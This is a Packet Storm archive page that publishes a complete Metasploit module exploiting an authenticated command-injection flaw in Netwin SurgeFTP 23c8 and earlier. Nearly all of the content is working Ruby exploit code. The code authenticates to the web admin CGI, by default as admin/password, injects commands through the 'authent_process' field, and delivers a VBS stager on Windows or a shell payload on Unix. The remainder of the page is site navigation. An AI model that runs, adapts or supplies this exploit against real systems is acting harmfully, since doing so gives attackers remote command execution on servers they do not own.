exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Netwin SurgeFTP Remote Command Execution

Netwin SurgeFTP Remote Command Execution
Posted Dec 24, 2012
Authored by sinn3r, Spencer McIntyre | Site metasploit.com

This Metasploit module exploits a vulnerability found in Netwin SurgeFTP, version 23c8 or prior. In order to execute commands via the FTP service, please note that you must have a valid credential to the web-based administrative console.

tags | exploit, web
SHA-256 | d2cfc6fc7d86461f770fda0e4daee3857ea9a4952d95f4921e2a9e92c4b23c57

Netwin SurgeFTP Remote Command Execution

Change Mirror Download
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# https://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStagerVBS

def initialize(info = {})
super(update_info(info,
'Name' => 'Netwin SurgeFTP Remote Command Execution',
'Description' => %q{
This module exploits a vulnerability found in Netwin SurgeFTP, version 23c8
or prior. In order to execute commands via the FTP service, please note that
you must have a valid credential to the web-based administrative console.
},
'Author' =>
[
'Spencer McIntyre', #Who found this vuln?
'sinn3r'
],
'License' => MSF_LICENSE,
'References' =>
[
['EDB', '23522']
],
'Targets' =>
[
[ 'Windows', { 'Arch'=>ARCH_X86, 'Platform'=>'win'} ],
[ 'Unix', { 'Arch'=>ARCH_CMD, 'Platform'=>'unix', 'Payload'=>{'BadChars' => "\x22"}} ]
],
'DisclosureDate' => 'Dec 06 2012'))

register_options(
[
Opt::RPORT(7021),
OptString.new('USERNAME', [ true, 'The username with admin role to authenticate as', 'admin' ]),
OptString.new('PASSWORD', [ true, 'The password for the specified username', 'password' ])
], self.class)
end

def check
res = send_request_raw({'uri'=>'/cgi/surgeftpmgr.cgi'})
if res and res.body =~ /surgeftp\x20\x0d\x0a\x20\x20Manager CGI/
return Exploit::CheckCode::Detected
else
return Exploit::CheckCode::Safe
end
end

def execute_command(cmd, opts)
http_send_command("cmd.exe /q /c #{cmd}")
end

def http_send_command(command)
res = send_request_cgi(
{
'uri' => '/cgi/surgeftpmgr.cgi',
'method' => 'POST',
'basic_auth' => datastore['USERNAME'] + ":" + datastore['PASSWORD'],
'vars_post' =>
{
'global_smtp' => "",
'global_restart' => "",
'global_style' => "",
'global_bind' => "",
'global_passive_ip' => "",
'global_passive_match' => "",
'global_logon_mode' => "",
'global_log_host' => "",
'global_login_error' => "",
'global_adminip' => "",
'global_total_users' => "",
'global_con_perip' => "",
'global_ssl' => "",
'global_ssl_cipher_list' => "",
'global_implicit_port' => "",
'log_level' => "",
'log_home' => "",
'global_watcher_program_ul' => "",
'global_watcher_program_dl' => "",
'authent_process' => command,
'authent_cmdopts' => "",
'authent_number' => "",
'authent_domain' => "",
'global_strip_user_domain' => "",
'global_noclass' => "",
'global_anon_hammer_over_time' => "",
'global_anon_hammer_max' => "",
'global_anon_hammer_block_time' => "",
'global_port' => "",
'global_mgr_port' => "",
'global_mgr_ssl_port' => "",
'cmd_global_save.x' => "36",
'cmd_global_save.y' => "8",
}
})

if res and res.body =~ /401 Authorization failed/
fail_with(Exploit::Failure::NoAccess, "Unable to log in!")
elsif not (res and res.code == 200)
fail_with(Exploit::Failure::Unknown, 'Failed to execute command.')
end
end

def exploit
case target['Platform']
when 'win'
print_status("#{rhost}:#{rport} - Sending VBS stager...")
execute_cmdstager({:linemax=>500})

when 'unix'
print_status("#{rhost}:#{rport} - Sending payload...")
http_send_command(%Q|/bin/sh -c "#{payload.encoded}"|)
end

handler
end
end
Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    63 Files
  • 14
    Nov 14th
    18 Files
  • 15
    Nov 15th
    8 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    17 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close